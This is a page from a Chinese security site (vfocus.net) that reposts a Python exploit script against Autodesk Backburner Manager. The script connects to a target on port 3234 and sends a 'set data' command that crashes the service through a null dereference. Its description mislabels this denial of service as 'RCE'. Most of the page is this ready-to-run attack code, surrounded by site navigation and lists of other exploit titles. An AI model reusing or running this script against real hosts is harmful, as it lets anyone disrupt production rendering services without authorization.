首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Servi
来源:vfocus.net 作者:b0nd 发布时间:2017-02-03  
import sys
import datetime
import socket
import argparse
import os
import time
 
remote_host = ''
remote_port = ''
 
def callExit():
    print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
    sys.exit(1)
 
def mySocket():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    except socket.error:
        print 'Failed to create socket'
        sys.exit()
    
    print "\n\t[+] Socket Created"
    
    s.connect((remote_host, remote_port))
    print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
    
    return s
    
# 250 backburner 1.0 Ready.
def receiveBanner(s):
    banner = s.recv(4096)
    print banner
 
 
def receiveData(s):
    data = s.recv(4096)
    print data
 
 
def setDataCommand(s):
    receiveData(s)          # backburner>
    print "Set Data Command"
    time.sleep(1)
    command = "set data\r\n"
    try:
        s.sendall(command)
    except socket.error:
        print 'Send failed'
        sys.exit()
    print "BackBurner Manager should have crashed"
    receiveData(s)          # 200 Help
    receiveData(s)          # Available Commands:.....and all set of commands
                            # backburner>
 
 
def main():
    if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
        os.system('clear')
 
    parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
    parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
    parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
    
    args = parser.parse_args()
    
    if args.host == None:
        print "\t[!] IP of remote host?"
        sys.exit()
    
    global remote_host
    global remote_port
    
    remote_host = args.host
    remote_port = args.port
    
    print "remote_host: %s" % remote_host
    print "remote_port: %s" % remote_port
    
    s = mySocket()
    receiveBanner(s)
    setDataCommand(s)
    
    print 'exit'
    sys.exit()
    
    
if __name__ == '__main__':
    try: sys.exit(main())
    except KeyboardInterrupt:
        callExit()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Man-db 2.6.7.1 - Privilege Esc
·Haraka < 2.8.9 - Remote Comman
·Joomla! < 3.6.4 - Admin TakeOv
·macOS 10.12.1 / iOS Kernel - '
·Joomla! < 2.5.2 - Admin Creati
·macOS 10.12.1 / iOS Kernel - '
·GNU Screen 4.5.0 - Privilege E
·Systemd 228 (SUSE 12 SP2 / Ubu
·Geutebrueck GCore 1.3.8.42/1.4
·OpenSSH 6.8 < 6.9 - 'PTY' Priv
·Cisco WebEx - 'nativeMessaging
·Palo Alto Networks Terminal Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved